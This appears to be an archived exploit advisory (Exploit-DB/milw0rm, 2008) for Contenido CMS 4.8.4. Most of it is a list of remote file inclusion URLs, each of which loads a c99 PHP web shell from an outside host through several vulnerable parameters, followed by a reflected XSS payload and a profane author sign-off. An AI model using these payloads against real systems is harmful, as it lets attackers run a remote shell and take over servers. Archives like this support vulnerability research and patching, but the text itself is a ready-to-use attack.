Contenido 4.8.4 - Remote File Inclusion / Cross-Site Scripting

Author: RoMaNcYxHaCkEr
type: webapps
platform: php
port: 
date_added: 2008-06-13  
date_updated: 2016-12-06  
verified: 1  
codes: OSVDB-46420;CVE-2008-2912;OSVDB-46419;CVE-2008-2911;OSVDB-46418;OSVDB-46417;OSVDB-46416;OSVDB-46415;OSVDB-46414;OSVDB-46413;OSVDB-46412;OSVDB-46411;OSVDB-46410;OSVDB-46409;OSVDB-46408  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 5810.txt  

# Script Name :  Contenido

# Type Of Script : Content-Management

# Version : 4.8.4 May Be Older Is Infected I Don,t See !!!

# Download From : http://www.contenido.org/en/upload/versionen/Contenido_4.8.4.zip

# Found : RoMaNcYxHaCkEr              [ RoMaNTiC-TeaM ]

# My Homepage : WwW.4RxH.CoM   & Member From Tryag Forum   [ We Will Be Back Soon ]

# Type Of Exploits : Multiple Remote Vulne [ RFI + XSS ]

# Exploits:

- This Multiple RFI In Different Files :

http://WwW.4RxH.CoM/Contenido_4.8.4/contenido/backend_search.php?contenido_path=http://rxh.freehostia.com/shells/c99in.txt?

http://WwW.4RxH.CoM/Contenido_4.8.4/contenido/cronjobs/move_articles.php?cfg[path][contenido]=http://rxh.freehostia.com/shells/c99in.txt?

http://WwW.4RxH.CoM/Contenido_4.8.4/contenido/cronjobs/move_old_stats.php?cfg[path][contenido]=http://rxh.freehostia.com/shells/c99in.txt?

http://WwW.4RxH.CoM/Contenido_4.8.4/contenido/cronjobs/optimize_database.php?cfg[path][contenido]=http://rxh.freehostia.com/shells/c99in.txt?

http://WwW.4RxH.CoM/Contenido_4.8.4/contenido/cronjobs/run_newsletter_job.php?cfg[path][contenido]=http://rxh.freehostia.com/shells/c99in.txt?

http://WwW.4RxH.CoM/Contenido_4.8.4/contenido/cronjobs/send_reminder.php?cfg[path][contenido]=http://rxh.freehostia.com/shells/c99in.txt?

http://WwW.4RxH.CoM/Contenido_4.8.4/contenido/cronjobs/session_cleanup.php?cfg[path][contenido]=http://rxh.freehostia.com/shells/c99in.txt?

http://WwW.4RxH.CoM/Contenido_4.8.4/contenido/cronjobs/setfrontenduserstate.php?cfg[path][contenido]=http://rxh.freehostia.com/shells/c99in.txt?

http://WwW.4RxH.CoM/Contenido_4.8.4/contenido/includes/include.newsletter_jobs_subnav.php?cfg[path][templates]=http://rxh.freehostia.com/shells/c99in.txt?

http://WwW.4RxH.CoM/Contenido_4.8.4/contenido/plugins/content_allocation/includes/include.right_top.php?cfg[path][templates]=http://rxh.freehostia.com/shells/c99in.txt?

http://WwW.4RxH.CoM/Contenido_4.8.4/contenido/includes/include.newsletter_jobs_subnav.php?cfg[templates][right_top_blank]=http://rxh.freehostia.com/shells/c99in.txt?

http://WwW.4RxH.CoM/Contenido_4.8.4/contenido/includes/include.newsletter_jobs_subnav.php?cfg[path][contenido]=http://rxh.freehostia.com/shells/c99in.txt?

http://WwW.4RxH.CoM/Contenido_4.8.4/contenido/plugins/content_allocation/includes/include.right_top.php?cfg[path][templates]=http://rxh.freehostia.com/shells/c99in.txt?

http://WwW.4RxH.CoM/Contenido_4.8.4/contenido/plugins/content_allocation/includes/include.right_top.php?cfg[path][contenido]=http://rxh.freehostia.com/shells/c99in.txt?

http://WwW.4RxH.CoM/Contenido_4.8.4/contenido/plugins/content_allocation/includes/include.right_top.php?cfg[path][templates]=http://rxh.freehostia.com/shells/c99in.txt?

http://WwW.4RxH.CoM/Contenido_4.8.4/contenido/plugins/content_allocation/includes/include.right_top.php?cfg[templates][right_top_blank]=http://rxh.freehostia.com/shells/c99in.txt?

- This Is XSS :

http://WwW.4RxH.CoM/Contenido_4.8.4/contenido/index.php?contenido=>">alert(41197.1507065509)%3B

Also In Different Variable In "Belang" Also "username" By POST method

# This All Above Shit Is EOF ......

# Note : Fuck All Lamerz & Kids ( You Know What I Am Mean . Did You !!! )

# Great To : Unknown Hacker , aLwHeEd , Tryag TeaM And Injector TeaM

# rXh

# bEST wISHES

# milw0rm.com [2008-06-14]